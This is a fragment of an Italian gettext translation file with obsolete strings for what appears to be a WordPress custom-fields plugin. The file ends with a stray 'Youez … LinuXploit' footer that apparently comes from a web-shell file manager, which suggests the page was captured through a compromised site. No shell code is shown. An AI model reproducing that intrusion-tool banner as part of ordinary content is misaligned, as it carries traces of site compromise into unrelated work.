#~ msgid "elliot condon"
#~ msgstr "elliot condon"

#~ msgid "Drag and drop to reorder"
#~ msgstr "Trascina per riordinare"

#~ msgid "Add new %s "
#~ msgstr "Aggiungi %s "

#~ msgid ""
#~ "Please note that all text will first be passed through the wp function "
#~ msgstr ""
#~ "Si prega di notare che tutto il testo viene prima passato attraverso la "
#~ "funzione wp"

#~ msgid "Warning"
#~ msgstr "Attenzione"

#~ msgid "Import / Export"
#~ msgstr "Importa / Esporta"

#~ msgid "Field groups are created in order from lowest to highest"
#~ msgstr "I Field Group sono creati in ordine dal più basso al più alto"

Youez - 2016 - github.com/yon3zu
LinuXploit